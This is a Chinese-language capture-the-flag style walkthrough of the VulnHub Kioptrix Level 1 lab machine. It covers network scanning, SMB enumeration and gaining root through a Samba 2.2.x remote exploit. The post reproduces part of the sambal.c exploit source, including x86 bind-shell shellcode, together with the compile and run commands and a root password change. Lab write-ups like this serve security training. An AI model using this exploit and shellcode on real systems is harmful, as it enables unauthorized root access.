【Vulnhub通关】Kioptrix:Level 1


准备工作

靶机基本信息

靶机名称:Kioptrix Level 1

操作系统:Linux

虚拟机软件:VMware Workstation

网络连接方式:桥接至物理网络(无法更改)

渗透测试目标:获取靶机root用户权限和交互式Shell.

下载地址:Kioptrix: Level 1 (#1) ~ VulnHub

下载

  • 打开下载链接,将RAR格式的压缩包解压至指定目录。
  • 点击VMware Workstation中的 File -> Scan for Virtual Machines 按钮,在弹出的对话框中选择正确的目录,扫描虚拟机添加即可。

渗透流程

主机发现

由于靶机网络配置为桥接至物理网络,所以作者将攻击机也设置为桥接模式以方便进行网络发现。在Kali Linux中,可使用如下命令进行网络发现(网段为192.168.2.0/24):

shell 复制代码
# netdiscover -r <IP地址>
netdiscover -r 192.168.2.0/24

执行结果如下图:

其中的IP地址:

  • 192.168.2.1   -->  电信路由器(因为有中兴的字样
  • 192.168.2.100  -->  作者的物理机(有微星网卡的字样
  • 192.168.2.110  -->  目标靶机(VMware的字样

目标扫描

锁定目标靶机之后就可以对其进行一个初步的扫描。先使用nmap工具对其进行端口探测:

shell 复制代码
nmap 192.168.2.110

结果如下:

可以看到目标主机开放了6个端口,接下来使用nmap进行详细扫描:

shell 复制代码
# -A    扫描操作系统与软件版本
# -sC   使用默认脚本扫描主机的所有TCP端口
# -Pn   关闭ICMP探测
nmap -A -sC -Pn 192.168.2.110

扫描结果如下图:

可以看到主机开放端口的详细信息:

端口 服务名称 版本信息 传输层 协议类型
22 SSH OpenSSH 2.9p2 (protocol 1.99) TCP
80 HTTP Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b) TCP
111 RPC 2 (RPC #100000) TCP/UDP
139 1024 netbios-ssn(SMB) Samba smbd (workgroup: PMYGROUP) TCP
443 HTTPS Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b TCP

同时确定目标操作系统为RedHat Linux,Linux内核版本大概在2.4.92.4.18之间。

服务探测

HTTP(S)服务

打开浏览器,访问靶机网址:

  • http://192.168.2.110/
  • https://192.168.2.110/

打开两个网址,貌似全部是默认页面。

网站目录扫描

先使用dirsearch工具对网站目录进行爆破:

shell 复制代码
# 扫描HTTP网站
dirsearch -u http://192.168.2.110/
# 扫描HTTPS网站
dirsearch -u https://192.168.2.110/

这里不知为何HTTPS网站无法正常扫描。

扫描之后确定可以尝试访问的页面如下(包括HTTPS):

  • /index.html
  • /manual/
  • /test.php
  • /usage

访问测试

  1. 访问index.html,发现是默认页面,而且查看源码没有有价值的信息,直接忽略。

  2. 访问manual,发现有一个文件目录列表,里面只有一个名称为mod的文件夹,点击后发现文件夹中有如下内容:

    访问之后看上去像是Apache对SSL模块和Perl模块的说明文档,查看后貌似没有任何有价值的信息,摸不着头脑;只知道SSL模块的版本为2.8 ,以及Apache的版本为1.3b5

  3. 访问test.php,发现页面上只显示了3行PHP脚本源代码,貌似靶机的Apache服务器根本没有PHP模块:

php 复制代码
<?php4

	print "TEST";

?>
  1. 访问/usage/页面,发现了如下内容:

    看起来像是一个记录服务器访问信息的页面,全部是静态页面,最底下有个Generated by Webalizer Version 2.01的字样。上网搜了一下:

  2. 除了上述页面,没有发现其它的可访问的网页了。

SMB文件共享服务

先使用nbtscan工具扫描一下靶机:

shell 复制代码
nbtscan -r 192.168.2.110

成功扫描出了一些信息:

接着使用enum4linux工具扫描一下:

发现了如下信息:

  • 域/工作组名称:MYGROUP
  • 可用的用户名:administrator, guest, krbtgt, domain admins, root, bin, none
  • RID范围:500-5501000-1050

尝试使用smbclient工具登录服务:

shell 复制代码
smbclient -L 192.168.2.110

得到了2个共享目录:IPC$ADMIN$,尝试访问一下:

发现匿名访问成功了???

但执行了一大堆命令,发现连操作权限也没有:

思前想后,最终决定用nmap扫描一下SMB服务,希望可以扫描到SMB的软件版本信息:

shell 复制代码
# 使用nmap脚本目录中所有文件名带smb字样的脚本进行扫描
nmap -p 139 --script=*smb* 192.168.2.110

可以看到没有扫描出SMB软件版本,但直接把漏洞扫出来了 。(漏洞编号:CVE-2009-3103

最后通过其它途径找到了另外一个EXP,部分代码如下:

C++ 复制代码
/*
    Remote root exploit for Samba 2.2.x and prior that works against
    Linux (all distributions), FreeBSD (4.x, 5.x), NetBSD (1.x) and
    OpenBSD (2.x, 3.x and 3.2 non-executable stack).
    sambal.c is able to identify samba boxes. It will send a netbios
    name packet to port 137. If the box responds with the mac address
    00-00-00-00-00-00, it's probally running samba.

    [esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0
    samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
    --------------------------------------------------------------
    + Scan mode.
    + [192.168.0.3] Samba
    + [192.168.0.10] Windows
    + [192.168.0.20] Windows
    + [192.168.0.21] Samba
    + [192.168.0.30] Windows
    + [192.168.0.31] Samba
    + [192.168.0.33] Windows
    + [192.168.0.35] Windows
    + [192.168.0.36] Windows
    + [192.168.0.37] Windows
    ...
    + [192.168.0.133] Samba

    Great!
    You could now try a preset (-t0 for a list), but most of the
    time bruteforce will do. The smbd spawns a new process on every
    connect, so we can bruteforce the return address...

    [esdee@embrace esdee]$ ./sambal -b 0 -v 192.168.0.133
    samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
    --------------------------------------------------------------
    + Verbose mode.
    + Bruteforce mode. (Linux)
    + Using ret: [0xbffffed4]
    + Using ret: [0xbffffda8]
    + Using ret: [0xbffffc7c]
    + Using ret: [0xbffffb50]
    + Using ret: [0xbffffa24]
    + Using ret: [0xbffff8f8]
    + Using ret: [0xbffff7cc]
    + Worked!
    --------------------------------------------------------------
  Linux LittleLinux.selwerd.lan 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586
 i586 i386 GNU/Linux
    uid=0(root) gid=0(root) groups=99(nobody)

sambal.c : samba-2.2.8 < remote root exploit by eSDee (www.netric.org|

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>

typedef struct {
        unsigned char type;
        unsigned char flags;
        unsigned short length;
} NETBIOS_HEADER;

typedef struct {
        unsigned char protocol[4];
        unsigned char command;
        unsigned short status;
        unsigned char reserved;
        unsigned char  flags;
        unsigned short flags2;
        unsigned char  pad[12];
        unsigned short tid;
        unsigned short pid;
        unsigned short uid;
        unsigned short mid;
} SMB_HEADER;

int OWNED = 0;
pid_t childs[100];
struct sockaddr_in addr1;
struct sockaddr_in addr2;

char linux_bindcode[] =
        "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
        "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
        "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
        "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
        "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
        "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
        "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
        "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
        "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
        "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
        "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
        "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
        "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";

编译C++源代码文件:

shell 复制代码
gcc ./kioptrix1_samba_vul.c -o ./kioptrix1_samba_vul

进行漏洞利用:

shell 复制代码
./kioptrix1_samba_vul -b 0 -v 192.168.2.110

可以看到已经获得root权限,下一步是尝试登录SSH。

权限提升

由于使用EXP已经获得简易的高权限Shell,所以下一步只要尝试修改root用户密码,登录SSH就行了。

先查看下靶机是否有SSH服务:

shell 复制代码
ssh -V

返回信息如下:

OpenSSH_2.9p2, SSH protocols 1.5/2.0, OpenSSL 0x0090602f

现在尝试使用passwd命令修改root密码:

shell 复制代码
passwd root
New password: *********
Retype new password: *********
Changing password for user root
passwd: all authentication tokens updated successfully

可以看到密码已经修改成功,接下来在Kali Linux中尝试使用SSH登录:

shell 复制代码
┌──(root㉿hacker)-[~]
└─# ssh root@192.168.2.110
Unable to negotiate with 192.168.2.110 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

报错,查看报错信息,发现提示没有双方共用的加密算法,并给出了需要的算法名称。

百度一下,说是要在~/.ssh/config文件中添加加密算法配置,于是:

再次连接,发现又报错:

shell 复制代码
┌──(root㉿hacker)-[~]
└─# ssh root@192.168.2.110
Unable to negotiate with 192.168.2.110 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

百度一下,往文件中添加:

shell 复制代码
echo "        HostKeyAlgorithms +ssh-dss" >> ~/.ssh/config

第三次连接,还是报错:

shell 复制代码
┌──(root㉿hacker)-[~]
└─# ssh root@192.168.2.110                                    
Unable to negotiate with 192.168.2.110 port 22: no matching cipher found. Their offer: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael128-cbc,rijndael192-cbc,rijndael256-cbc,rijndael-cbc@lysator.liu.se

嗯。。。。。。还是"耐心地"百度亿下。。。。。。(咬牙切齿):

往文件中添加:

shell 复制代码
echo "        Ciphers +aes128-cbc" >> ~/.ssh/config

再看看。。。。。。

查询操作系统信息:


本次靶机测试到此结束

相关推荐
用户962377954481 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主2 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954484 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954484 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star4 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954485 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher6 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行9 天前
网络安全总结
安全·web安全